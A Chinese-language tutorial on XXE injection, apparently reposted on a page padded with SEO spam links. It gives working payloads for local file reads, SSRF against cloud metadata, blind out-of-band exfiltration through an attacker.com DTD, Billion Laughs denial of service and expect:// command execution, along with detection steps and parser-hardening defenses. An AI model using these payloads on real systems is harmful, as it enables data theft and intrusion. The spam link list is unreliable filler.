当前位置: 首页 > wzjs >正文

用模板建商城购物网站怎么做网站编程

用模板建商城购物网站,怎么做网站编程,宁波网站推广专业服务,wordpress 自定义标签一、XXE漏洞概述 1. 定义 XXE(XML External Entity Injection)即 XML外部实体注入漏洞,攻击者通过构造恶意XML数据,利用XML解析器的外部实体加载功能,实现 文件读取、内网探测、拒绝服务(DoS)…

一、XXE漏洞概述

1. 定义

XXE(XML External Entity Injection)即 XML外部实体注入漏洞,攻击者通过构造恶意XML数据,利用XML解析器的外部实体加载功能,实现 文件读取、内网探测、拒绝服务(DoS) 等攻击。

2. 危害
  • 敏感文件读取:读取服务器上的 /etc/passwdC:\Windows\win.ini 等文件。

  • SSRF(服务端请求伪造):探测内网服务(如Redis、MySQL)或攻击云服务器元数据接口(如AWS的 169.254.169.254)。

  • 拒绝服务:通过递归实体(Billion Laughs攻击)耗尽服务器资源。

3. 常见场景
  • XML文件上传:如文档转换、数据导入功能。

  • Web Services(SOAP/XML-RPC):基于XML的API接口。

  • Office文件解析:DOCX、XLSX等格式解压后包含XML文件。


二、XML基础知识

1. XML结构

xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY entity_name "entity_value">
]>
<root><element>&entity_name;</element>
</root>
2. 实体类型
  • 普通实体:仅用于XML文档内部引用。

    xml

    <!ENTITY name "value">
  • 外部实体:引用外部资源(文件、URL)。

    xml

    <!ENTITY ext_file SYSTEM "file:///etc/passwd"> <!ENTITY ext_url SYSTEM "http://attacker.com/evil.dtd">

  • 参数实体(需在DTD中使用):

    xml

    <!ENTITY % param_entity "evil_content">

三、XXE漏洞利用方法

1. 基础文件读取

Payload示例

xml

<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

利用条件

  • XML解析器启用外部实体(默认开启)。

  • 响应中回显实体内容(或通过报错/延时判断)。

2. SSRF攻击(探测内网)

Payload示例

xml

<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>

利用场景

  • 云服务器元数据泄露(AWS、阿里云)。

  • 内网服务指纹识别(如Redis的 +PONG 响应)。

3. 盲注XXE(无回显利用)

步骤

  1. 触发带外请求(OOB)

    xml

    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;
  2. evil.dtd内容

    xml

    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
    %eval;
    %exfil;
  3. 攻击者服务器:捕获data参数中的文件内容。

4. 拒绝服务攻击(Billion Laughs)

Payload示例

xml

<!DOCTYPE data [<!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!-- 递归定义更多实体 -->
]>
<data>&lol9;</data>

效果:引发XML解析器内存耗尽,导致服务崩溃。


四、不同语言/库的XXE差异

语言/库默认是否允许外部实体禁用方法
PHP (libxml)默认禁用(≥8.0)libxml_disable_entity_loader(true)
Java (DOM)默认启用设置 DocumentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)
Python lxml默认禁用显式禁用 resolve_entities=False
.NET默认启用XmlReaderSettings.DtdProcessing = Prohibit

五、绕过技巧与高级利用

1. 协议扩展
  • PHP的expect协议(需安装扩展):

    xml

    <!ENTITY xxe SYSTEM "expect://id">
  • Java的jar协议

    xml

    <!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/file.txt">
2. 编码绕过
  • UTF-7编码

    xml

    <?xml version="1.0" encoding="UTF-7"?>
    +ADwAIQ-DOCTYPE data+AFs +ADwAIQ-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI +AD4AXQA+
3. 嵌套外部DTD

xml

<!DOCTYPE data SYSTEM "http://attacker.com/evil.dtd">

evil.dtd内容

xml

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

六、漏洞检测方法

1. 手动检测
  • 修改Content-Type:将请求的 Content-Type 改为 application/xml,插入测试实体。

  • Payload测试

    xml

    <?xml version="1.0"?>
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <root>&xxe;</root>
2. 工具检测
  • Burp Suite插件

    • XML External Entity Injector:自动生成XXE Payload。

    • Collaborator Everywhere:检测盲注XXE的带外请求。

  • 命令行工具

    bash

    xxer --url http://target.com/api --data '<xml>...</xml>' --oob-server attacker.com

七、防御方案

1. 禁用外部实体
  • PHP

    libxml_disable_entity_loader(true);
  • Java

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
2. 使用安全解析器
  • 选择默认禁用DTD的库(如Python的 defusedxml)。

  • 配置XML解析器为不解析实体:

    python

    from lxml import etree
    parser = etree.XMLParser(resolve_entities=False)
3. 输入过滤与白名单
  • 过滤XML中的 <!DOCTYPE<!ENTITY 关键字。

  • 使用JSON替代XML(若业务允许)。

4. WAF规则
  • 拦截包含 SYSTEMfile://http:// 的请求。


文章转载自:

http://iOScPsus.dfckx.cn
http://bRGjbJkH.dfckx.cn
http://NX3mACgG.dfckx.cn
http://wLSw1O0Z.dfckx.cn
http://WqiavzKY.dfckx.cn
http://ST6fJ2Y8.dfckx.cn
http://xrXY07X6.dfckx.cn
http://JoQ5Ffde.dfckx.cn
http://ISzIdnWV.dfckx.cn
http://4Mphr5CR.dfckx.cn
http://sNsgXaSg.dfckx.cn
http://ZiWnqoGN.dfckx.cn
http://4xgnyo6d.dfckx.cn
http://OV1gtc9D.dfckx.cn
http://nJKOrA5v.dfckx.cn
http://S4WLOuGc.dfckx.cn
http://KFIvxBSN.dfckx.cn
http://N9hmVy63.dfckx.cn
http://5hWTKfdQ.dfckx.cn
http://xtGYjU0W.dfckx.cn
http://sZ4KGWmr.dfckx.cn
http://7Fbve95l.dfckx.cn
http://a5ZaUjOb.dfckx.cn
http://M4Jgm7Tt.dfckx.cn
http://kdwHYmdY.dfckx.cn
http://r0s2OJ4c.dfckx.cn
http://fusz0L5k.dfckx.cn
http://BZZV8B4b.dfckx.cn
http://uOjW2dNf.dfckx.cn
http://DD9qr3be.dfckx.cn
http://www.dtcms.com/wzjs/607011.html

相关文章:

  • 成都市建设部官方网站平台搭建app开发
  • 阿里云要求的网站建设方案织梦网站需要付费吗
  • 三明做网站重庆网站改版
  • 专做女裤有哪些网站wordpress邮箱解析
  • 哪里有免费的网站推广软件个人网站搭建wordpress
  • 最好设计网站建设自己怎么做网站啊
  • 昆明好的网站开发公司网站开发信息发布
  • 个人网站设计需求分析如何制作微信下单小程序
  • 网站建设工作部署会建站之星7大核心价值
  • 网站建设运营规划长沙房地产集团
  • 网站建设多少预算软件网站开发评估
  • 那些网站hr可以做兼职seo
  • 和百度一样的网站网站制作报价
  • 皮具网站源码做平台好还是自己建网站
  • 帮人做网站收多少钱企业形象
  • 专业APP客户端做网站wordpress mu 搜索
  • 加强普法网站和普法网络集群建设网站域名域名
  • 网站制作的书籍云服务器价格购买价格表
  • php电影网站开发电脑做ppt模板下载网站
  • 怎么才能把网站优化做好重庆招聘网
  • 北辰网站建设公司太原网站制作峰峰做网站
  • 有梦商城公司网站建网站报价表
  • 包工头接活网站app北京电商网站建设公司
  • 常德网站开发哪家好电脑系统优化软件十大排名
  • 网站开发就业前景分析app注册
  • 免费做四年级题的网站wordpress加载变慢
  • 招聘网站如何做英文版网站建设策划方案
  • 莱州哪有做网站的广东网站建设需要多少钱
  • 做羞羞网站游惠萍建盏简介
  • 电商网站前端模板那个网站可以做微课